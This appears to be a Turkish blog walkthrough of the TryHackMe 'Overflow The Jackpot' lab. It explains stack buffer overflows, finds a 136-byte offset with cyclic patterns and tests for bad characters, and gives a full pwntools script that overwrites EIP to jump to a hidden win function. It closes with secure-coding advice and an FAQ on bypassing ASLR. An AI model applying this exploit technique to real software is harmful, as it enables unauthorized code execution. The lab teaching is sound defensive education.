Takip et

TryHackMe Overflow The Jackpot Writeup ve Rehberi

TryHackMe platformunda yer alan Overflow The Jackpot odasının adım adım çözüm rehberi ile bellek taşması (Buffer Overflow) zafiyetlerini derinlemesine keşfedin ve sömürü kodunuzu yazın.

TryHackMe Overflow The Jackpot Writeup ve Rehberi

TryHackMe platformunda yer alan Overflow The Jackpot odasının adım adım çözüm rehberi ile bellek taşması (Buffer Overflow) zafiyetlerini derinlemesine keşfedin ve sömürü kodunuzu yazın.

Buffer Overflow Nedir ve Neden Hayati Öneme Sahiptir?

Siber güvenlik dünyasında ikili dosya sömürüsü (binary exploitation) denildiğinde akla gelen ilk zafiyet türlerinden biri bellek taşmasıdır (Buffer Overflow). Özellikle C ve C++ gibi bellek yönetimini doğrudan geliştiriciye bırakan alt seviye programlama dillerinde, bellek sınırlarının doğru denetlenmemesi bu güvenlik açığına yol açar. Bir program, kullanıcının girdiği veriyi depolamak için bellekte belirli bir alan (buffer) ayırır. Ancak programcı girilen verinin uzunluğunu kontrol etmezse, tahsis edilen alanın ötesine taşan veriler bitişik bellek hücrelerini ezmeye başlar.

Sistem mimarisinde yığın (stack) bellek yapısı, LIFO (Last In, First Out – Son Giren İlk Çıkar) prensibine göre çalışır. Yığın üzerinde yerel değişkenler, fonksiyon dönüş adresleri ve çerçeve işaretçileri saklanır. Bellek taşması gerçekleştiğinde, saldırgan yalnızca yerel değişkenleri bozmakla kalmaz, aynı zamanda fonksiyonun çalışma bitiminde döneceği adresi (Return Address) kendi belirlediği bir adrese yönlendirebilir. Böylece programın akışı tamamen değiştirilir.

Aşağıdaki tabloda yığın belleğin tipik yapısı ve veri akışının yönü gösterilmektedir:

Bellek Bölgesi Açıklama Yazma Yönü
Yerel Değişkenler (Buffer) Programın kullanıcıdan aldığı veriyi tuttuğu bellek alanı. Aşağıdan Yukarıya (Düşükten Yüksek Adrese)
EBP / RBP (Base Pointer) Önceki stack çerçevesinin taban adresini saklar. Aşağıdan Yukarıya
EIP / RIP (Return Address) Fonksiyon bittiğinde çalıştırılacak sonraki komutun adresi. Aşağıdan Yukarıya

Bu zafiyet türünün hayati öneme sahip olmasının ana sebebi, yetki yükseltme (privilege escalation) ve uzaktan kod çalıştırma (Remote Code Execution – RCE) imkanı tanımasıdır. Dolayısıyla, potansiyel bir saldırgan programın yetkileriyle sistemde tam kontrol elde edebilir. Zafiyetin mekanizmasını kavramak için modern zararlı yazılımların ve exploit tekniklerinin temellerini bilmek gerekir.

Statik ve Dinamik Analiz: İkili Dosya (Binary) İncelemesi

TryHackMe üzerindeki Overflow The Jackpot odasına başladığımızda, öncelikle bize verilen ikili dosyayı (binary) incelememiz gerekir. Analiz süreci iki temel aşamadan oluşur: Statik analiz ve dinamik analiz. Statik analizde programı çalıştırmadan kod yapısı ve derleme güvenlik önlemleri incelenirken, dinamik analizde program yürütülerek bellek davranışı gözlemlenir.

İlk adım olarak hedef dosyanın türünü ve güvenlik mekanizmalarını kontrol etmek için Linux terminalinde file ve checksec komutlarını çalıştırırız. Bu araçlar bize dosyanın mimarisi (32-bit veya 64-bit) ve hangi koruma teknolojilerinin aktif olduğu hakkında kritik bilgiler sunar.

file jackpot
checksec --file=jackpot

Analiz sonucunda elde ettiğimiz çıktılar, izleyeceğimiz stratejiyi doğrudan belirler. Örneğin checksec komutu ile aşağıdaki güvenlik mekanizmalarının durumunu değerlendiririz:

  • Stack Canary: Yığın taşmalarını algılamak için bellek adreslerinin arasına yerleştirilen rastgele değerlerdir. Değer bozulursa program derhal kapatılır.
  • NX (No-Execute) / DEP: Yığın alanında kod çalıştırılmasını engeller. Eğer aktifse, doğrudan shellcode çalıştırmak yerine ROP (Return-Oriented Programming) teknikleri kullanılmalıdır.
  • PIE (Position Independent Executable): Programın bellek adreslerinin her çalıştırmada rastgele değişmesini sağlar.
  • ASLR (Address Space Layout Randomization): İşletim sistemi düzeyinde kütüphanelerin bellek adreslerini rastgele oluşturur.

Statik incelemenin ardından disassembler araçları (Ghidra, IDA Pro veya Radare2) yardımıyla uygulamanın kaynak kod yapısını tersine mühendislik (reverse engineering) yöntemleriyle inceleriz. Kodu incelediğimizde, kullanıcı girdisini alan fonksiyonun gets() veya sınırı olmayan bir strcpy() fonksiyonu olduğunu tespit ederiz. Ayrıca program içerisinde “jackpot” miktarını tutan veya bizi doğrudan sistem kabuğuna (shell) ulaştıracak gizli bir fonksiyonun varlığını belirleriz.

Taşma Noktasını Tespit Etme: Fuzzing ve Offset Hesabı

Bellek taşması sömürüsünde en kritik aşama, taşmanın başladığı nokta ile Komut İşaretçisi (Instruction Pointer – EIP veya RIP) arasındaki mesafeyi, yani “offset” değerini bulmaktır. Offset değerini tam olarak hesaplamadan program akışını kontrol etmek mümkün değildir.

Öncelikle fuzzing yöntemiyle uygulamanın kaç karakterden sonra çöktüğünü (Segmentation Fault / SIGSEGV) gözlemleriz. Bunun için Python kullanarak hedef programa giderek artan uzunlukta veriler göndeririz. Uygulama çöktüğünde bellek dökümü (core dump) incelenir.

python3 -c 'print("A" * 50)' | ./jackpot
python3 -c 'print("A" * 100)' | ./jackpot
python3 -c 'print("A" * 150)' | ./jackpot

Çökme anı tespit edildikten sonra kesin offset değerini bulmak amacıyla benzersiz döngüsel desenler (cyclic patterns) kullanırız. Metasploit framework içerisinde yer alan msf-pattern_create veya Pwntools kütüphanesindeki cyclic fonksiyonu bu işlem için idealdir. Örneğin 200 karakterlik benzersiz bir desen üreterek bunu GDB (GNU Debugger) altında çalışan programa girdi olarak veririz.

msf-pattern_create -l 200

Üretilen metin uygulamaya gönderildiğinde program çöker ve GDB ekranında EIP veya RIP yazmacında (register) kalan değer okunur. Örneğin EIP yazmacındaki değer 0x37616136 olarak okunmuşsa, bu hex değerinin desen içerisindeki konumunu belirlemek için msf-pattern_offset aracını çalıştırırız.

msf-pattern_offset -q 0x37616136

Yapılan hesaplama sonucunda offset değerinin tam olarak 136 byte olduğu tespit edilir. Bu durum, göndereceğimiz ilk 136 byte’lık verinin yığındaki tamponu dolduracağını, hemen ardından gelen 4 veya 8 byte’lık verinin ise doğrudan EIP/RIP yazmacının üzerine yazılacağını gösterir.

Bellek Düzenini Sağlama: Kötü Karakterlerin (Bad Chars) Tespiti

İkili dosya sömürüsünde hazırladığımız zararlı yükün (payload) bellek tarafından doğru bir şekilde işlenebilmesi için “kötü karakterler” (bad characters) olarak adlandırılan baytların tespit edilip temizlenmesi şarttır. Kötü karakterler, programın girdi işleme fonksiyonları tarafından özel bir anlam yüklenen ve verinin kesilmesine veya bozulmasına neden olan karakterlerdir.

En yaygın kötü karakter \x00 (Null Byte) değeridir. C dilinde karakter dizileri (strings) null byte gördüğü anda sonlanır. Dolayısıyla payload içinde yer alan bir null byte, sömürü kodunun geri kalanının belleğe yazılmasını engeller. Benzer şekilde \x0a (Line Feed / Yeni Satır) veya \x0d (Carriage Return) karakterleri de girdi alma fonksiyonlarını sonlandırabilir.

Kötü karakterleri tespit etmek için \x00 hariç \x01 ile \xff arasındaki tüm hex değerleri içeren bir bayt dizisi (byte array) oluştururuz. Bu diziyi offset dolgu verisinin ardından programa göndeririz.

badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    # ... \xff değerine kadar devam eder
)

Program GDB üzerinde çöktürüldükten sonra bellek adresi x/256bx $esp komutuyla incelenir. Bellekteki bayt sırasının bozulduğu veya kesildiği noktadaki karakter kötü karakter olarak işaretlenir ve test listesinden çıkarılır. Bu işlem, bellek dizilimi ardışık ve hatasız bir şekilde sıralanana kadar tekrarlanır.

Sızma Senaryosu: Exploit Kodunun Adım Adım Yazılması

Offset değerini hesapladıktan ve kötü karakterleri ayıkladıktan sonra sıra asıl sömürü kodunu (exploit) kaleme almaya gelir. Bu aşamada Python dili ve siber güvenlik uzmanlarının vazgeçilmez aracı olan pwntools kütüphanesi kullanılır. Senaryomuzda hedef, program içerisindeki gizli jackpot() fonksiyonunun bellek adresine atlamak veya sistem kabuğu almamızı sağlayacak shellcode yapısını çalıştırmaktır.

GDB veya Ghidra yardımıyla hedeflenen jackpot_win fonksiyonunun bellek adresinin 0x080491b6 olduğunu varsayalım. X86 mimarisinde veriler bellekte “Little-Endian” (küçük sonlu) formatında saklanır. Yani adres değerini bayt dizisine çevirirken ters sırayla paketlememiz gerekir. Pwntools içerisindeki p32() veya p64() fonksiyonları bu dönüştürme işlemini otomatik olarak gerçekleştirir.

Aşağıda TryHackMe Overflow The Jackpot odası için geliştirilmiş eksiksiz Python sömürü kodu yer almaktadır:

from pwn import *

# Hedef bağlantı bilgileri veya yerel süreç
host = "10.10.x.x"
port = 1337

# Pwntools konfigürasyonu
context.update(arch='i386', os='linux')

# Offset değeri ve Hedef Adres
offset = 136
target_address = 0x080491b6  # jackpot_win fonksiyonunun adresi

# Payload Oluşturma
# 1. Tampon Alanını Doldurma (Padding)
padding = b"A" * offset

# 2. Return Address Üzerine Yazılacak Adres
eip = p32(target_address)

# 3. Nihai Payload Birleştirme
payload = padding + eip

log.info(f"Payload boyutu: {len(payload)} byte")
log.info("Hedefe bağlanılıyor ve payload gönderiliyor...")

try:
    # Uzak sunucuya bağlan
    r = remote(host, port)
    
    # Sunucu karşılama metnini oku
    r.recvuntil(b"Enter ticket number:")
    
    # Hazırlanan zararlı yükü gönder
    r.sendline(payload)
    
    # Etkileşimli kabuk veya bayrak (flag) çıktısını al
    flag = r.recvall().decode('utf-8', errors='ignore')
    log.success(f"Tebrikler! Jackpot Kazanıldı: {flag}")

except Exception as e:
    log.error(f"Sömürü sırasında hata oluştu: {e}")

Bu kod çalıştırıldığında, gönderilen 136 adet “A” karakteri tampon belleği tamamen doldurur. Ardından gelen 0x080491b6 adresi doğrudan EIP yazmacının üzerine yazılır. Fonksiyon sonlandığında işlemci bir sonraki komutu yürütmek için EIP’deki adrese yönlenir ve doğrudan jackpot_win fonksiyonunu çalıştırarak hedef sistemdeki bayrağı (flag) ekranımıza basar.

Gerçek Dünya Senaryosu: Slot Makineleri ve IoT Cihazlarında Bellek Güvenliği

TryHackMe üzerindeki bu simülasyon, soyut bir konsept gibi görünse de gerçek dünya senaryolarında son derece somut karşılıklara sahiptir. Özellikle kumarhanelerde kullanılan fiziksel slot makineleri, bilet otomatları ve endüstriyel IoT cihazları genellikle gömülü C/C++ yazılımlarıyla çalışır.

Nitekim geçmişte yapılan siber güvenlik araştırmalarında, bazı fiziksel slot makinelerinin seri port (RS-232) veya kart okuyucu arayüzlerinde bellek denetimi yapılmadığı ortaya çıkarılmıştır. Saldırganlar, özel tasarlanmış donanım araçlarıyla (örneğin akıllı kart simülatörleri) cihaza yüksek miktarda veri göndererek bellek taşması tetiklemiştir. Bellekte bulunan “kredi miktarını” veya “kazanç durumunu” tutan değişkenlerin üzerine yazarak makineden haksız ikramiye (jackpot) ödemesi almışlardır.

Bu durum, yazılım seviyesindeki bir bellek hatasının doğrudan finansal ve fiziksel kayıplara nasıl yol açabileceğinin net bir kanıtıdır. Dolayısıyla, gömülü sistem mimarilerinde bellek güvenliği kritik bir katmandır.

Zafiyetten Korunma ve Güvenli Kod Geliştirme Yöntemleri

Bellek taşması zafiyetlerini tamamen ortadan kaldırmak için yazılım geliştirme süreçlerinde güvenli kodlama standartlarının uygulanması şarttır. Tehditleri kaynağında engellemek, sistem derlendikten sonra korumaya çalışmaktan her zaman daha etkilidir.

Geliştiricilerin dikkat etmesi gereken temel güvenlik önlemleri şunlardır:

  • Güvensiz Fonksiyonları Terk Etmek: Sınır kontrolü yapmayan gets(), strcpy(), strcat() ve sprintf() gibi fonksiyonlar yerine, uzunluk sınırı belirten fgets(), strncpy(), strncat() ve snprintf() fonksiyonları kullanılmalıdır.
  • Derleyici Güvenlik Önlemlerini Aktif Etmek: Derleme aşamasında Stack Canaries (-fstack-protector-all), NX Bit (-z noexecstack) ve ASLR gibi mekanizmalar aktif tutulmalıdır.
  • Bellek Güvenlikli Diller Tercih Etmek: Yeni projelerde bellek yönetimini otomatik ve güvenli bir şekilde yapan Rust, Go veya modern C++ (smart pointers ile) dilleri tercih edilmelidir.
  • Statik Kod Analizi (SAST): Kaynak kodlar derlenmeden önce otomatik analiz araçlarıyla taranarak potansiyel bellek sızıntıları ve güvensiz fonksiyon kullanımları tespit edilmelidir.

Aşağıdaki tabloda güvensiz C fonksiyonları ve bunların yerine kullanılması gereken güvenli alternatifleri listelenmiştir:

Güvensiz Fonksiyon Risk Sebebi Güvenli Alternatifi
gets(buffer) Hiçbir boyut kontrolü yapmaz, doğrudan taşmaya sebep olur. fgets(buffer, sizeof(buffer), stdin)
strcpy(dest, src) Kaynak dizinin hedef alana sığıp sığmadığını denetlemez. strncpy(dest, src, sizeof(dest) - 1)
sprintf(buf, fmt, ...) Biçimlendirilmiş verinin boyutunu hesaba katmaz. snprintf(buf, sizeof(buf), fmt, ...)

Sıkça Sorulan Sorular (SSS)

1. Buffer Overflow zafiyetleri günümüzde hala geçerli mi?

Evet, modern işletim sistemleri ASLR, DEP ve Stack Canary gibi güçlü koruma mekanizmalarına sahip olsa da, özellikle gömülü sistemlerde, IoT cihazlarında, sürücülerde (drivers) ve eski C/C++ kod tabanlarında bellek taşması zafiyetleri varlığını sürdürmektedir. Saldırganlar bu korumaları bypass etmek için ROP (Return-Oriented Programming) gibi ileri düzey teknikler kullanmaktadır.

2. RIP register’ı ile EIP register’ı arasındaki fark nedir?

EIP (Extended Instruction Pointer), 32-bit x86 mimarilerinde bir sonraki yürütülecek komutun adresini tutan 32 bitlik yazmaçtır. RIP (Instruction Pointer) ise 64-bit x64 mimarilerinde aynı işlevi gören 64 bitlik genişletilmiş yazmaçtır.

3. ASLR koruması aktifse Buffer Overflow nasıl bypass edilir?

ASLR koruması aktif olduğunda bellek adresleri her çalıştırmada değişir. Bunu bypass etmek için bellek sızıntısı (information leak) zafiyetlerinden faydalanarak temel bellek adresi (base address) hesaplanır veya korumaya tabi olmayan sabit modüller (Partial ASLR / Non-PIE binary bölümleri) üzerinden atlama yapılır.

4. Pwntools kütüphanesini kullanmak neden avantajlıdır?

Pwntools, sızma testi uzmanları ve CTF oyuncuları için geliştirilmiş Python tabanlı bir kütüphanedir. Veri paketleme (p32/p64), kabuk kod (shellcode) üretimi, soket bağlantıları yönetimi ve cyclic desen oluşturma gibi karmaşık işlemleri birkaç satır kod ile hızlıca yapmayı sağlar.

#SiberGüvenlik #BufferOverflow #TryHackMe #BinaryExploitation #SızmaTesti

Yorumlar
İçeriği beğendiniz mi? Bir tartışma başlatın veya görüşlerinizi paylaşın.
Yorum Yaz

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

E-posta Bülteni
Yazılım Topluluğuna Katılın
En son güncellemeleri, yaratıcı ipuçlarını ve özel kaynakları doğrudan e-posta kutunuza alın. Tasarım ve inovasyonun geleceğini birlikte keşfedelim.